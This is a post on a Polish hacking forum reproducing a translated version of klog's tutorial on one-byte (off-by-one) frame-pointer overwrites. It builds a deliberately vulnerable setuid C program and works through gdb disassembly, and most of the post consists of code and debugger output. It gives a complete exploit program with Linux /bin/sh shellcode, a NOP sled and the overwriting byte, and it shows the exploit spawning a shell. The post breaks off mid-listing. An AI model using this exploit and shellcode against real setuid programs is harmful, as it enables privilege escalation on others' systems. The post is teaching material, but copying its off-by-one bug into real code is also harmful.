Forum wszystko o hackingu i nie tylko Strona Główna
RejestracjaSzukajFAQUżytkownicyGrupyGalerieZaloguj
Ataki Off-By-One

 
Odpowiedz do tematu    Forum wszystko o hackingu i nie tylko Strona Główna » Różne Zobacz poprzedni temat
Zobacz następny temat
Ataki Off-By-One
Autor Wiadomość
haker512
Administrator
Administrator



Dołączył: 07 Lut 2007
Posty: 58
Przeczytał: 0 tematów

Ostrzeżeń: 0/5
Skąd: Kłodawa

Post Ataki Off-By-One
Bufory moga byc przepelniane, przez nadpisanie krytycznych danych
skladowanych na stosie mozemy zmienic przebieg programu. To nic nowego. To
nie jest artykul o tym jak napisac exploita na buffer overlow. To poprostu
demonstracja tego, ze mozliwe jest wyexploitowanie bugow nawet pod
najgorsza forma, naprzyklad kiedy bufor moze byc przepelniony tylko przez
jeden bit. Istnieje wiele innych tajemnych technik, ktorych celem jest
wyexploitowanie prawdziwych programow w najtrudniejszych warunkach.
My odkryjemy tylko jednobajtowe przepelnienia.


Ataki typu Off-By-One

*************************************************************************************************
Tekst przetlumaczony przez xsotiego, z gory przepraszam za wszystkie
bledy, ale nikomu placic za to nie karze wiec nie ma co sie czepiac Smile.

-------------------------[ The Frame Pointer Overwrite ]

-------------------------[ Przepelnianie wskaznika ramki ]

--------[ klog ]

--------[ xsoti - translate to pl ]

----[ Instrukcje

Bufory moga byc przepelniane, przez nadpisanie krytycznych danych
skladowanych na stosie mozemy zmienic przebieg programu. To nic nowego. To
nie jest artykul o tym jak napisac exploita na buffer overlow. To poprostu
demonstracja tego, ze mozliwe jest wyexploitowanie bugow nawet pod
najgorsza forma, naprzyklad kiedy bufor moze byc przepelniony tylko przez
jeden bit. Istnieje wiele innych tajemnych technik, ktorych celem jest
wyexploitowanie prawdziwych programow w najtrudniejszych warunkach.
My odkryjemy tylko jednobajtowe przepelnienia.

----[ Objekt naszego ataku

Napiszmy podatny program suidowy, ktory nazwiemy "suid". Jest on napisany
tak, ze tylko jeden bit moze zostac przepelniony.
ipdev:~/tests$ cat > suid.c

#include

func(char *sm)
{
char buffer[256];
int i;
for(i=0;i<=256;i++)
buffer[i]=sm[i];
}

main(int argc, char *argv[])
{
if (argc < 2) {
printf("missing args\n");
exit(-1);
}

func(argv[1]);
}
^D

ipdev:~/tests$ gcc suid.c -o suid
ipdev:~/tests$
Jak widzisz nie mamy zbyt duzo miejsca aby wyexploitowac ten program.
Istotnie przepelnienie jest mozliwe przez nadpisanie bufora tylko przez
jeden bit. Bedziemy musieli uzyc go bardzo sprytnie. Przed spliotowaniem
czegokolwiek powinnismy przyjrzec sie co ten bajt tak naprawde przepelnia.
Uzyjmy gdb aby reassemblerowac naszego pseudo expa.
ipdev:~/tests$ gdb ./suid
...
(gdb) disassemble func
Dump of assembler code for function func:
0x8048134 : pushl %ebp
0x8048135 : movl %esp,%ebp
0x8048137 : subl $0x104,%esp
0x804813d : nop
0x804813e : movl $0x0,0xfffffefc(%ebp)
0x8048148 : cmpl $0x100,0xfffffefc(%ebp)
0x8048152 : jle 0x8048158
0x8048154 : jmp 0x804817c
0x8048156 : leal (%esi),%esi
0x8048158 : leal 0xffffff00(%ebp),%edx
0x804815e : movl %edx,%eax
0x8048160 : addl 0xfffffefc(%ebp),%eax
0x8048166 : movl 0x8(%ebp),%edx
0x8048169 : addl 0xfffffefc(%ebp),%edx
0x804816f : movb (%edx),%cl
0x8048171 : movb %cl,(%eax)
0x8048173 : incl 0xfffffefc(%ebp)
0x8048179 : jmp 0x8048148
0x804817b : nop
0x804817c : movl %ebp,%esp
0x804817e : popl %ebp
0x804817f : ret
End of assembler dump.
(gdb)

Jak wszyscy wiemy procesor pierw polozy %eip na stos, jak wymaga tego
instrukcja CALL. Nastepnie nasz maly program kladzie na stos %ebp - adres
*0x8048134. W koncu aktywowana jest lokalna ramka przez obnizenie ebp
przez 0x104. To znaczy ze nasza lokalna zmienna bedzie 0x104 bajtow duza
(0x100 na lancuch, 0x004 na integer). Zapamietaj, ze nasz 255 bajtowy
bufor bedzie zajmowal 256 bajtow, poniewaz pamiec moze byc adresowana
tylko wielokrotnosciami slowa - jedno slowo 4 bajty. Teraz mozemy
powiedziec jak wyglada nasz stos przed wystapieniem przepelnienia:
saved_eip
saved_ebp
char buffer[255]
char buffer[254]
...
char buffer[000]
int i

To oznacza ze nadpisujacy bajt nadpisze zapisany wskaznik ramki, ktory byl
polozony na stos na poczatku funkcji func(). Ale jak mozna wykorzystac ten
bajt aby zmienic przebieg programu? Przyjrzyjmy sie co dzieje sie z
rejstrem %ebp. Jak juz wiemy %ebp jest zdejmowane ze stosu na koncu
funkcji func(), jak mozemy to zobaczyc przy adresie *0x804817e. Ale co dalej?

(gdb) disassemble main
Dump of assembler code for function main:
0x8048180 : pushl %ebp
0x8048181 : movl %esp,%ebp
0x8048183 : cmpl $0x1,0x8(%ebp)
0x8048187 : jg 0x80481a0
0x8048189 : pushl $0x8058ad8
0x804818e : call 0x80481b8
0x8048193 : addl $0x4,%esp
0x8048196 : pushl $0xffffffff
0x8048198 : call 0x804d598
0x804819d : addl $0x4,%esp
0x80481a0 : movl 0xc(%ebp),%eax
0x80481a3 : addl $0x4,%eax
0x80481a6 : movl (%eax),%edx
0x80481a8 : pushl %edx
0x80481a9 : call 0x8048134
0x80481ae : addl $0x4,%esp
0x80481b1 : movl %ebp,%esp
0x80481b3 : popl %ebp
0x80481b4 : ret
0x80481b5 : nop
0x80481b6 : nop
0x80481b7 : nop
End of assembler dump.
(gdb)
Wspaniale! Po tym jak func() jest wywolywana na koncu main(), %ebp jest
kopiowana do %esp jak widac przy adresie *0x80481b1. To znaczy ze mozemy
ustawic dowolna wartosc dla %esp. Ale zapamietaj ze ta wartosc tak
naprawde nie jest dowolna, poniewaz mozemy zmodyfikowac tylko ostatni bajt
%esp. Sprawdzmy czy mamy racje.

(gdb) disassemble main
Dump of assembler code for function main:
0x8048180 : pushl %ebp
0x8048181 : movl %esp,%ebp
0x8048183 : cmpl $0x1,0x8(%ebp)
0x8048187 : jg 0x80481a0
0x8048189 : pushl $0x8058ad8
0x804818e : call 0x80481b8
0x8048193 : addl $0x4,%esp
0x8048196 : pushl $0xffffffff
0x8048198 : call 0x804d598
0x804819d : addl $0x4,%esp
0x80481a0 : movl 0xc(%ebp),%eax
0x80481a3 : addl $0x4,%eax
0x80481a6 : movl (%eax),%edx
0x80481a8 : pushl %edx
0x80481a9 : call 0x8048134
0x80481ae : addl $0x4,%esp
0x80481b1 : movl %ebp,%esp
0x80481b3 : popl %ebp
0x80481b4 : ret
0x80481b5 : nop
0x80481b6 : nop
0x80481b7 : nop
End of assembler dump.
(gdb) break *0x80481b4
Breakpoint 2 at 0x80481b4
(gdb) run `overflow 257`
Starting program: /home/klog/tests/suid `overflow 257`

Breakpoint 2, 0x80481b4 in main ()
(gdb) info register esp
esp 0xbffffd45 0xbffffd45
(gdb)
To znaczy ze mamy. Po przepelnieniu bufora przez jedno 'A' (0x41), %ebp
jest przenoszony do %esp, ktory jest zwiekszany o 4 podczas gdy %ebp jest
zdejmowane ze stosu. To daje nam 0xbffffd41 + 0x4 = 0xbffffd45.

----[ przygotowywanie sie

Co nam daje zmiana wskaznika stosu? Nie mozemy bezposrednio zmienic zapisanej
wartosci %eip, jak w standardowym przepelnieniu bufora, Ale mozemy zmylic
procesor. Kiedy procesor powraca z funkcji, pobiera tylko pierwsze slowo
ze stosu, sadzac ze jest to oryginalny %eip. Ale jesli zmodyfikujemy %esp,
Mozemy sprawic alby procesor pobieral dowolna wartosc ze stosu, tak jak by
to byl %eip, i w ten sposob zmienic wykonywanie programu. Stworzmy projekt
przepelnienia bufora:
[nops][shellcode][&shellcode][%ebp_altering_byte]

Pierw powinnismy ustalic na jaka wartosc chcemy zmienic %ebp (i %esp).
Przyjdzymy sie, jak bedzie wygladal stos po przepelnieniu bufora:
saved_eip
saved_ebp (zmieniony przez 1 bajt)
&shellcode \
shellcode | char buffer
nops /
int i

Chcemy, aby %esp wskazywal na &shellcode, wiec sprawimy, ze adress
shellcodu bedzie przeniesiony do %eip kiedy procesor bedzie powracal z
main(). Teraz mamy pelna wiedze o tym jak wyexploitowac podatny program,
wydobyc informacje z procesu gdy jest uruchomiony w kontekscie w ktorym
bedzie explitowany. Te informacje skladaja sie z adresu przepelnionego
bufora i adresu wskaznika do naszego shellcodu (&shellcode). Uruchommy
program ktory przepelni nasze vulnerable 257 bajtowym lancuchem. Zeby to
zrobic musimy napisac fake exploita ktory pokaze nam co dzieje sie w
trakcie dzialania prawdziwego exploita.

(gdb) q
ipdev:~/tests$ cat > fake_exp.c
#include
#include

main()
{
int i;
char buffer[1024];

bzero(&buffer, 1024);
for (i=0;i<=256;i++)
{
buffer[i] = 'A';
}
execl("./suid", "suid", buffer, NULL);
}
^D

ipdev:~/tests$ gcc fake_exp.c -o fake_exp
ipdev:~/tests$ gdb --exec=fake_exp --symbols=suid
...
(gdb) run
Starting program: /home/klog/tests/exp2

Program received signal SIGTRAP, Trace/breakpoint trap.
0x8048090 in ___crt_dummy__ ()
(gdb) disassemble func
Dump of assembler code for function func:
0x8048134 : pushl %ebp
0x8048135 : movl %esp,%ebp
0x8048137 : subl $0x104,%esp
0x804813d : nop
0x804813e : movl $0x0,0xfffffefc(%ebp)
0x8048148 : cmpl $0x100,0xfffffefc(%ebp)
0x8048152 : jle 0x8048158
0x8048154 : jmp 0x804817c
0x8048156 : leal (%esi),%esi
0x8048158 : leal 0xffffff00(%ebp),%edx
0x804815e : movl %edx,%eax
0x8048160 : addl 0xfffffefc(%ebp),%eax
0x8048166 : movl 0x8(%ebp),%edx
0x8048169 : addl 0xfffffefc(%ebp),%edx
0x804816f : movb (%edx),%cl
0x8048171 : movb %cl,(%eax)
0x8048173 : incl 0xfffffefc(%ebp)
0x8048179 : jmp 0x8048148
0x804817b : nop
0x804817c : movl %ebp,%esp
0x804817e : popl %ebp
0x804817f : ret
End of assembler dump.
(gdb) break *0x804813d
Breakpoint 1 at 0x804813d
(gdb) c
Continuing.

Breakpoint 1, 0x804813d in func ()
(gdb) info register esp
esp 0xbffffc60 0xbffffc60
(gdb)

Mamy teraz %esp zaraz po aktywazji ramki func. Z tej wartosci mozemy
zgadywac, ze nasz bufor ulokowany bedzie w adresie 0xbffffc60 + 0x04
(wielkosc 'int i') = 0xbffffc64, a wskaznik do naszego shellcodu bedzie
znajdowal sie w adresie 0xbffffc64 + 0x100 (wielkosc 'char buffer[256]')
- 0x04 (wielkosc naszego wskaznika) = 0xbffffd60.

----[ Czas na atak

Majac te wartosci jestesmy gotowi do napisania prawdziwego exploita.
Wartoscia ktora bedziemy chcieli nadpisac jest ostatni bajt %ebp, ktory
bedzie rownal sie 0x60 - 0x04 = 0x5c w czasie kiedy zdejmowany jest %ebp
zaraz przed powrotem z main(). Te 4 bajty beda wyrownywac usuniecie %ebp
ze stosu. Co do wskaznika do naszego shellcodu, nie jest konieczne aby
wskazywal on dokladnie na nasz shellcode. Wszystko czego potrzebujemy to
sprawic aby procesor powrocil do nopow (0x90) pomiedzy poczatkiem
przepelnionego bufora (0xbffffc64) i naszego shellcodu (0xbffffc64 -
sizeof(shellcode)). Tak jak w wiekszosci bo.

Uzyjmy 0xbffffc74.
ipdev:~/tests$ cat > exp.c
#include
#include

char sc_linux[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
"\xd7\xff\xff\xff/bin/sh";

main()
{
int i, j;
char buffer[1024];

bzero(&buffer, 1024);
for (i=0;i<=(252-sizeof(sc_linux));i++)
{
buffer[i] = 0x90;
}
for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++)
{
buffer[i] = sc_linux[j];
}
buffer[i++] = 0x74; /*
buffer[i++] = 0xfc; * Address of our buffer
buffer[i++] = 0xff; *
buffer[i++] = 0xbf; */
buffer[i++] = 0x5c;

execl("./suid", "suid", buffer, NULL);

}
^D
ipdev:~/tests$ gcc exp.c -o exp
ipdev:~/tests$ ./exp
bash$

Ok. przyjrzymy sie teraz co sie stalo.
ipdev:~/tests$ gdb --exec=exp --symbols=suid
...
(gdb) run
Starting program: /home/klog/tests/exp

Program received signal SIGTRAP, Trace/breakpoint trap.
0x8048090 in ___crt_dummy__ ()
(gdb)
Pierw stworzmy troche breakpointow, aby zobaczyc co dzialo sie w trakcie
dzialania naszego sploita. Powinnismy sprubowac podarzac za wartosciami
naszego nadpisanego wskaznika ramki az do wykonania naszego shellcodu.


(gdb) disassemble func
Dump of assembler code for function func:
0x8048134 : pushl %ebp
0x8048135 : movl %esp,%ebp
0x8048137 : subl $0x104,%esp
0x804813d : nop
0x804813e : movl $0x0,0xfffffefc(%ebp)
0x8048148 : cmpl $0x100,0xfffffefc(%ebp)
0x8048152 : jle 0x8048158
0x8048154 : jmp 0x804817c
0x8048156 : leal (%esi),%esi
0x8048158 : leal 0xffffff00(%ebp),%edx
0x804815e : movl %edx,%eax
0x8048160 : addl 0xfffffefc(%ebp),%eax
0x8048166 : movl 0x8(%ebp),%edx
0x8048169 : addl 0xfffffefc(%ebp),%edx
0x804816f : movb (%edx),%cl
0x8048171 : movb %cl,(%eax)
0x8048173 : incl 0xfffffefc(%ebp)
0x8048179 : jmp 0x8048148
0x804817b : nop
0x804817c : movl %ebp,%esp
0x804817e : popl %ebp
0x804817f : ret
End of assembler dump.
(gdb) break *0x804817e
Breakpoint 1 at 0x804817e
(gdb) break *0x804817f
Breakpoint 2 at 0x804817f
(gdb)
Pierwsze breakpointy pozwola nam obserwowac %ebp przed i po zdjeciu ze
stosu. Te wartosci beda odpowiadac tym prawdziwym i przepelnionym.


(gdb) disassemble main
Dump of assembler code for function main:
0x8048180 : pushl %ebp
0x8048181 : movl %esp,%ebp
0x8048183 : cmpl $0x1,0x8(%ebp)
0x8048187 : jg 0x80481a0
0x8048189 : pushl $0x8058ad8
0x804818e : call 0x80481b8 <_IO_printf>
0x8048193 : addl $0x4,%esp
0x8048196 : pushl $0xffffffff
0x8048198 : call 0x804d598
0x804819d : addl $0x4,%esp
0x80481a0 : movl 0xc(%ebp),%eax
0x80481a3 : addl $0x4,%eax
0x80481a6 : movl (%eax),%edx
0x80481a8 : pushl %edx
0x80481a9 : call 0x8048134
0x80481ae : addl $0x4,%esp
0x80481b1 : movl %ebp,%esp
0x80481b3


Post został pochwalony 0 razy
Sob 21:52, 10 Lut 2007 Zobacz profil autora
Wyświetl posty z ostatnich:    
Odpowiedz do tematu    Forum wszystko o hackingu i nie tylko Strona Główna » Różne Wszystkie czasy w strefie EET (Europa)
Strona 1 z 1

 
Skocz do: 
Możesz pisać nowe tematy
Możesz odpowiadać w tematach
Nie możesz zmieniać swoich postów
Nie możesz usuwać swoich postów
Nie możesz głosować w ankietach


fora.pl - załóż własne forum dyskusyjne za darmo
Powered by phpBB © 2001, 2005 phpBB Group
Design by Freestyle XL / Music Lyrics.
Regulamin